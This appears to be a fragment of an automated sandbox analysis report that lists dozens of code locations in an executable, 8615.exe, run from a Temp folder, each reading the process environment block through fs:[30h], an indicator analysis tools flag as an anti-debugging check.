Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B53E962 mov eax, dword ptr fs:[00000030h]	24_2_6B53E962
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548966 mov eax, dword ptr fs:[00000030h]	24_2_6B548966
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47B171 mov eax, dword ptr fs:[00000030h]	24_2_6B47B171
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47B171 mov eax, dword ptr fs:[00000030h]	24_2_6B47B171
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B479100 mov eax, dword ptr fs:[00000030h]	24_2_6B479100
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B479100 mov eax, dword ptr fs:[00000030h]	24_2_6B479100
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B479100 mov eax, dword ptr fs:[00000030h]	24_2_6B479100
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B480100 mov eax, dword ptr fs:[00000030h]	24_2_6B480100
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B480100 mov eax, dword ptr fs:[00000030h]	24_2_6B480100
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B480100 mov eax, dword ptr fs:[00000030h]	24_2_6B480100
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B494120 mov eax, dword ptr fs:[00000030h]	24_2_6B494120
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B494120 mov eax, dword ptr fs:[00000030h]	24_2_6B494120
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B494120 mov eax, dword ptr fs:[00000030h]	24_2_6B494120
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B494120 mov eax, dword ptr fs:[00000030h]	24_2_6B494120
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B494120 mov ecx, dword ptr fs:[00000030h]	24_2_6B494120
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A513A mov eax, dword ptr fs:[00000030h]	24_2_6B4A513A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A513A mov eax, dword ptr fs:[00000030h]	24_2_6B4A513A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B473138 mov ecx, dword ptr fs:[00000030h]	24_2_6B473138
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4899C7 mov eax, dword ptr fs:[00000030h]	24_2_6B4899C7
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4899C7 mov eax, dword ptr fs:[00000030h]	24_2_6B4899C7
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4899C7 mov eax, dword ptr fs:[00000030h]	24_2_6B4899C7
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4899C7 mov eax, dword ptr fs:[00000030h]	24_2_6B4899C7
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47B1E1 mov eax, dword ptr fs:[00000030h]	24_2_6B47B1E1
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47B1E1 mov eax, dword ptr fs:[00000030h]	24_2_6B47B1E1
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47B1E1 mov eax, dword ptr fs:[00000030h]	24_2_6B47B1E1
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4731E0 mov eax, dword ptr fs:[00000030h]	24_2_6B4731E0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5489E7 mov eax, dword ptr fs:[00000030h]	24_2_6B5489E7
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5041E8 mov eax, dword ptr fs:[00000030h]	24_2_6B5041E8
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49C182 mov eax, dword ptr fs:[00000030h]	24_2_6B49C182
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AA185 mov eax, dword ptr fs:[00000030h]	24_2_6B4AA185
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47519E mov eax, dword ptr fs:[00000030h]	24_2_6B47519E
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47519E mov ecx, dword ptr fs:[00000030h]	24_2_6B47519E
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B53A189 mov eax, dword ptr fs:[00000030h]	24_2_6B53A189
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B53A189 mov ecx, dword ptr fs:[00000030h]	24_2_6B53A189
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A4190 mov eax, dword ptr fs:[00000030h]	24_2_6B4A4190
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A2990 mov eax, dword ptr fs:[00000030h]	24_2_6B4A2990
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B54F1B5 mov eax, dword ptr fs:[00000030h]	24_2_6B54F1B5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B54F1B5 mov eax, dword ptr fs:[00000030h]	24_2_6B54F1B5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A61A0 mov eax, dword ptr fs:[00000030h]	24_2_6B4A61A0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A61A0 mov eax, dword ptr fs:[00000030h]	24_2_6B4A61A0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F51BE mov eax, dword ptr fs:[00000030h]	24_2_6B4F51BE
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F51BE mov eax, dword ptr fs:[00000030h]	24_2_6B4F51BE
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F51BE mov eax, dword ptr fs:[00000030h]	24_2_6B4F51BE
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F51BE mov eax, dword ptr fs:[00000030h]	24_2_6B4F51BE
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AC9BF mov eax, dword ptr fs:[00000030h]	24_2_6B4AC9BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AC9BF mov eax, dword ptr fs:[00000030h]	24_2_6B4AC9BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4999BF mov ecx, dword ptr fs:[00000030h]	24_2_6B4999BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4999BF mov ecx, dword ptr fs:[00000030h]	24_2_6B4999BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4999BF mov eax, dword ptr fs:[00000030h]	24_2_6B4999BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4999BF mov ecx, dword ptr fs:[00000030h]	24_2_6B4999BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4999BF mov ecx, dword ptr fs:[00000030h]	24_2_6B4999BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4999BF mov eax, dword ptr fs:[00000030h]	24_2_6B4999BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4999BF mov ecx, dword ptr fs:[00000030h]	24_2_6B4999BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4999BF mov ecx, dword ptr fs:[00000030h]	24_2_6B4999BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4999BF mov eax, dword ptr fs:[00000030h]	24_2_6B4999BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4999BF mov ecx, dword ptr fs:[00000030h]	24_2_6B4999BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4999BF mov ecx, dword ptr fs:[00000030h]	24_2_6B4999BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4999BF mov eax, dword ptr fs:[00000030h]	24_2_6B4999BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5349A4 mov eax, dword ptr fs:[00000030h]	24_2_6B5349A4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5349A4 mov eax, dword ptr fs:[00000030h]	24_2_6B5349A4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5349A4 mov eax, dword ptr fs:[00000030h]	24_2_6B5349A4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B5349A4 mov eax, dword ptr fs:[00000030h]	24_2_6B5349A4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B477055 mov eax, dword ptr fs:[00000030h]	24_2_6B477055
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B475050 mov eax, dword ptr fs:[00000030h]	24_2_6B475050
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B475050 mov eax, dword ptr fs:[00000030h]	24_2_6B475050
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B475050 mov eax, dword ptr fs:[00000030h]	24_2_6B475050
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B532073 mov eax, dword ptr fs:[00000030h]	24_2_6B532073
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B541074 mov eax, dword ptr fs:[00000030h]	24_2_6B541074
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49F86D mov eax, dword ptr fs:[00000030h]	24_2_6B49F86D
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B544015 mov eax, dword ptr fs:[00000030h]	24_2_6B544015
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B544015 mov eax, dword ptr fs:[00000030h]	24_2_6B544015
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B476800 mov eax, dword ptr fs:[00000030h]	24_2_6B476800
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B476800 mov eax, dword ptr fs:[00000030h]	24_2_6B476800
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B476800 mov eax, dword ptr fs:[00000030h]	24_2_6B476800
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B488800 mov eax, dword ptr fs:[00000030h]	24_2_6B488800
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B54F019 mov eax, dword ptr fs:[00000030h]	24_2_6B54F019
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B54F019 mov eax, dword ptr fs:[00000030h]	24_2_6B54F019
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47F018 mov eax, dword ptr fs:[00000030h]	24_2_6B47F018
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47F018 mov eax, dword ptr fs:[00000030h]	24_2_6B47F018
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48B02A mov eax, dword ptr fs:[00000030h]	24_2_6B48B02A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48B02A mov eax, dword ptr fs:[00000030h]	24_2_6B48B02A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48B02A mov eax, dword ptr fs:[00000030h]	24_2_6B48B02A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48B02A mov eax, dword ptr fs:[00000030h]	24_2_6B48B02A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A4020 mov edi, dword ptr fs:[00000030h]	24_2_6B4A4020
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A830 mov eax, dword ptr fs:[00000030h]	24_2_6B49A830
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A830 mov eax, dword ptr fs:[00000030h]	24_2_6B49A830
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A830 mov eax, dword ptr fs:[00000030h]	24_2_6B49A830
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49A830 mov eax, dword ptr fs:[00000030h]	24_2_6B49A830
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4770C0 mov eax, dword ptr fs:[00000030h]	24_2_6B4770C0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4770C0 mov eax, dword ptr fs:[00000030h]	24_2_6B4770C0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4740E1 mov eax, dword ptr fs:[00000030h]	24_2_6B4740E1
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4740E1 mov eax, dword ptr fs:[00000030h]	24_2_6B4740E1
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4740E1 mov eax, dword ptr fs:[00000030h]	24_2_6B4740E1
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4758EC mov eax, dword ptr fs:[00000030h]	24_2_6B4758EC
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49B8E4 mov eax, dword ptr fs:[00000030h]	24_2_6B49B8E4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49B8E4 mov eax, dword ptr fs:[00000030h]	24_2_6B49B8E4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4828FD mov eax, dword ptr fs:[00000030h]	24_2_6B4828FD
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4828FD mov eax, dword ptr fs:[00000030h]	24_2_6B4828FD
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4828FD mov eax, dword ptr fs:[00000030h]	24_2_6B4828FD
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52E0E9 mov eax, dword ptr fs:[00000030h]	24_2_6B52E0E9
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52E0E9 mov eax, dword ptr fs:[00000030h]	24_2_6B52E0E9
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B473880 mov eax, dword ptr fs:[00000030h]	24_2_6B473880
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B473880 mov eax, dword ptr fs:[00000030h]	24_2_6B473880
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B90AF mov eax, dword ptr fs:[00000030h]	24_2_6B4B90AF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4828AE mov eax, dword ptr fs:[00000030h]	24_2_6B4828AE
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4828AE mov eax, dword ptr fs:[00000030h]	24_2_6B4828AE
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4828AE mov eax, dword ptr fs:[00000030h]	24_2_6B4828AE
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4828AE mov ecx, dword ptr fs:[00000030h]	24_2_6B4828AE
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4828AE mov eax, dword ptr fs:[00000030h]	24_2_6B4828AE
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4828AE mov eax, dword ptr fs:[00000030h]	24_2_6B4828AE
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4838A4 mov eax, dword ptr fs:[00000030h]	24_2_6B4838A4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4838A4 mov ecx, dword ptr fs:[00000030h]	24_2_6B4838A4
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AF0BF mov ecx, dword ptr fs:[00000030h]	24_2_6B4AF0BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AF0BF mov eax, dword ptr fs:[00000030h]	24_2_6B4AF0BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AF0BF mov eax, dword ptr fs:[00000030h]	24_2_6B4AF0BF
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47E8B0 mov eax, dword ptr fs:[00000030h]	24_2_6B47E8B0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47E8B0 mov eax, dword ptr fs:[00000030h]	24_2_6B47E8B0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47E8B0 mov eax, dword ptr fs:[00000030h]	24_2_6B47E8B0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47E8B0 mov eax, dword ptr fs:[00000030h]	24_2_6B47E8B0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47E8B0 mov eax, dword ptr fs:[00000030h]	24_2_6B47E8B0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47E8B0 mov eax, dword ptr fs:[00000030h]	24_2_6B47E8B0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47A745 mov eax, dword ptr fs:[00000030h]	24_2_6B47A745
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ADF4C mov eax, dword ptr fs:[00000030h]	24_2_6B4ADF4C
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B505F5F mov eax, dword ptr fs:[00000030h]	24_2_6B505F5F
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B505F5F mov eax, dword ptr fs:[00000030h]	24_2_6B505F5F
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B505F5F mov eax, dword ptr fs:[00000030h]	24_2_6B505F5F
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B505F5F mov eax, dword ptr fs:[00000030h]	24_2_6B505F5F
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B505F5F mov eax, dword ptr fs:[00000030h]	24_2_6B505F5F
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ACF6A mov eax, dword ptr fs:[00000030h]	24_2_6B4ACF6A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ACF6A mov eax, dword ptr fs:[00000030h]	24_2_6B4ACF6A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B476F60 mov eax, dword ptr fs:[00000030h]	24_2_6B476F60
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B476F60 mov eax, dword ptr fs:[00000030h]	24_2_6B476F60
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49E760 mov eax, dword ptr fs:[00000030h]	24_2_6B49E760
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49E760 mov eax, dword ptr fs:[00000030h]	24_2_6B49E760
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A2F70 mov eax, dword ptr fs:[00000030h]	24_2_6B4A2F70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A2F70 mov eax, dword ptr fs:[00000030h]	24_2_6B4A2F70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A2F70 mov eax, dword ptr fs:[00000030h]	24_2_6B4A2F70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A2F70 mov eax, dword ptr fs:[00000030h]	24_2_6B4A2F70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A2F70 mov eax, dword ptr fs:[00000030h]	24_2_6B4A2F70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A2F70 mov eax, dword ptr fs:[00000030h]	24_2_6B4A2F70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A2F70 mov eax, dword ptr fs:[00000030h]	24_2_6B4A2F70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B548F6A mov eax, dword ptr fs:[00000030h]	24_2_6B548F6A
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B50FF10 mov eax, dword ptr fs:[00000030h]	24_2_6B50FF10
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B50FF10 mov eax, dword ptr fs:[00000030h]	24_2_6B50FF10
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AC707 mov eax, dword ptr fs:[00000030h]	24_2_6B4AC707
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AC707 mov ecx, dword ptr fs:[00000030h]	24_2_6B4AC707
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AC707 mov eax, dword ptr fs:[00000030h]	24_2_6B4AC707
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52DF1D mov ecx, dword ptr fs:[00000030h]	24_2_6B52DF1D
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52DF1D mov eax, dword ptr fs:[00000030h]	24_2_6B52DF1D
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A4710 mov eax, dword ptr fs:[00000030h]	24_2_6B4A4710
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49F716 mov eax, dword ptr fs:[00000030h]	24_2_6B49F716
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B474F2E mov eax, dword ptr fs:[00000030h]	24_2_6B474F2E
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B474F2E mov eax, dword ptr fs:[00000030h]	24_2_6B474F2E
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49B73D mov eax, dword ptr fs:[00000030h]	24_2_6B49B73D
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B49B73D mov eax, dword ptr fs:[00000030h]	24_2_6B49B73D
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B476730 mov eax, dword ptr fs:[00000030h]	24_2_6B476730
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B476730 mov eax, dword ptr fs:[00000030h]	24_2_6B476730
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B476730 mov eax, dword ptr fs:[00000030h]	24_2_6B476730
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AE730 mov eax, dword ptr fs:[00000030h]	24_2_6B4AE730
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AD7CA mov eax, dword ptr fs:[00000030h]	24_2_6B4AD7CA
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4AD7CA mov eax, dword ptr fs:[00000030h]	24_2_6B4AD7CA
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B473FC5 mov eax, dword ptr fs:[00000030h]	24_2_6B473FC5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B473FC5 mov eax, dword ptr fs:[00000030h]	24_2_6B473FC5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B473FC5 mov eax, dword ptr fs:[00000030h]	24_2_6B473FC5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A37EB mov eax, dword ptr fs:[00000030h]	24_2_6B4A37EB
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A37EB mov eax, dword ptr fs:[00000030h]	24_2_6B4A37EB
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A37EB mov eax, dword ptr fs:[00000030h]	24_2_6B4A37EB
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A37EB mov eax, dword ptr fs:[00000030h]	24_2_6B4A37EB
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A37EB mov eax, dword ptr fs:[00000030h]	24_2_6B4A37EB
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A37EB mov eax, dword ptr fs:[00000030h]	24_2_6B4A37EB
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A37EB mov eax, dword ptr fs:[00000030h]	24_2_6B4A37EB
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B37F5 mov eax, dword ptr fs:[00000030h]	24_2_6B4B37F5
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472FB0 mov eax, dword ptr fs:[00000030h]	24_2_6B472FB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472FB0 mov eax, dword ptr fs:[00000030h]	24_2_6B472FB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472FB0 mov eax, dword ptr fs:[00000030h]	24_2_6B472FB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472FB0 mov ecx, dword ptr fs:[00000030h]	24_2_6B472FB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472FB0 mov eax, dword ptr fs:[00000030h]	24_2_6B472FB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472FB0 mov eax, dword ptr fs:[00000030h]	24_2_6B472FB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472FB0 mov eax, dword ptr fs:[00000030h]	24_2_6B472FB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472FB0 mov eax, dword ptr fs:[00000030h]	24_2_6B472FB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472FB0 mov eax, dword ptr fs:[00000030h]	24_2_6B472FB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472FB0 mov eax, dword ptr fs:[00000030h]	24_2_6B472FB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B472FB0 mov eax, dword ptr fs:[00000030h]	24_2_6B472FB0
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B506652 mov eax, dword ptr fs:[00000030h]	24_2_6B506652
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B48766D mov eax, dword ptr fs:[00000030h]	24_2_6B48766D
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ACE6C mov eax, dword ptr fs:[00000030h]	24_2_6B4ACE6C
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4ACE6C mov ecx, dword ptr fs:[00000030h]	24_2_6B4ACE6C
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B52F674 mov eax, dword ptr fs:[00000030h]	24_2_6B52F674
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4FAE60 mov eax, dword ptr fs:[00000030h]	24_2_6B4FAE60
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4FAE60 mov eax, dword ptr fs:[00000030h]	24_2_6B4FAE60
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4FAE60 mov eax, dword ptr fs:[00000030h]	24_2_6B4FAE60
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4FAE60 mov eax, dword ptr fs:[00000030h]	24_2_6B4FAE60
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4A3E70 mov eax, dword ptr fs:[00000030h]	24_2_6B4A3E70
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B502E14 mov eax, dword ptr fs:[00000030h]	24_2_6B502E14
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47C600 mov eax, dword ptr fs:[00000030h]	24_2_6B47C600
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47C600 mov eax, dword ptr fs:[00000030h]	24_2_6B47C600
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B47C600 mov eax, dword ptr fs:[00000030h]	24_2_6B47C600
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4B0E21 mov eax, dword ptr fs:[00000030h]	24_2_6B4B0E21
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F5623 mov eax, dword ptr fs:[00000030h]	24_2_6B4F5623
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F5623 mov eax, dword ptr fs:[00000030h]	24_2_6B4F5623
Source: C:\Users\user\AppData\Local\Temp\8615.exe	Code function: 24_2_6B4F5623 mov eax, dword ptr fs:[00000030h]	24_2_6B4F5623
